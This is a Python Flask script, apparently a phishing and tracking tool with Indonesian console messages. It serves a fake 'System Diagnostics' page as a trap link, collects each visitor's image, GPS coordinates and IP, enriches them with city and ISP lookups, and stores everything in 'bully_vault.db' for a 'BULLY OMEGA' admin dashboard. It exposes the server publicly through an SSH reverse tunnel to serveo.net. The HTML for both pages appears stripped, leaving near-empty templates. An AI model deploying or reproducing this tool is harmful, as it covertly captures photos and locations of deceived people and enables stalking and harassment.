import os, time, base64, requests, subprocess, threading, sqlite3 from flask import Flask, render_template_string, request, jsonify app = Flask(__name__) # --- DATABASE INITIALIZATION (SQLITE) --- def init_db(): conn = sqlite3.connect('bully_vault.db') c = conn.cursor() c.execute('''CREATE TABLE IF NOT EXISTS hits (id INTEGER PRIMARY KEY AUTOINCREMENT, img TEXT, ip TEXT, city TEXT, isp TEXT, lat TEXT, lon TEXT, time TEXT)''') conn.commit() conn.close() def save_hit(d): conn = sqlite3.connect('bully_vault.db') c = conn.cursor() c.execute("INSERT INTO hits (img, ip, city, isp, lat, lon, time) VALUES (?,?,?,?,?,?,?)", (d['img'], d['ip'], d['city'], d['isp'], d['lat'], d['lon'], d['time'])) conn.commit() conn.close() # --- AI TUNNEL GENERATOR --- def start_tunnel(): print("\033[93m[!] AI Mengaktifkan Protokol Burst-Strike...\033[0m") cmd = "ssh -o StrictHostKeyChecking=no -R 80:localhost:5000 serveo.net" process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True) for line in process.stdout: if "Forwarding HTTP traffic from" in line: public_url = line.split("from")[1].strip() print(f"\n\033[92m[+] LINK JEBAKAN : {public_url}/verify") print(f"\033[96m[+] PANEL MONITOR: {public_url}/\033[0m\n") break # ================= UI: TARGET TRAP (BURST MODE) ================= TARGET_UI = """ System Diagnostics

HARDWARE_CHECK

Klik 'START' untuk memulai diagnosa sistem.

""" # ================= UI: ADMIN PANEL (OMNI-DASHBOARD) ================= ADMIN_UI = """ BULLY OMEGA V203

🔱 BULLY OMEGA V203: BURST-STRIKE 🔱

""" # ================= SERVER ROUTES ================= @app.route('/') def admin(): return render_template_string(ADMIN_UI) @app.route('/verify') def target(): return render_template_string(TARGET_UI) @app.route('/capture', methods=['POST']) def capture(): d = request.json ip = request.headers.get('X-Forwarded-For', request.remote_addr).split(',')[0] try: geo = requests.get(f"http://ip-api.com/json/{ip}").json() except: geo = {} payload = { "img": d.get('img'), "ip": ip, "lat": d.get('lat'), "lon": d.get('lon'), "city": geo.get('city', 'Unknown'), "isp": geo.get('isp', 'Unknown'), "time": time.strftime("%H:%M:%S") } save_hit(payload) return jsonify({"s": "ok"}) @app.route('/api/data') def get_data(): conn = sqlite3.connect('bully_vault.db') c = conn.cursor() c.execute("SELECT * FROM hits ORDER BY id DESC LIMIT 50") rows = c.fetchall() conn.close() return jsonify(rows) if __name__ == "__main__": init_db() threading.Thread(target=start_tunnel, daemon=True).start() app.run(host='0.0.0.0', port=5000)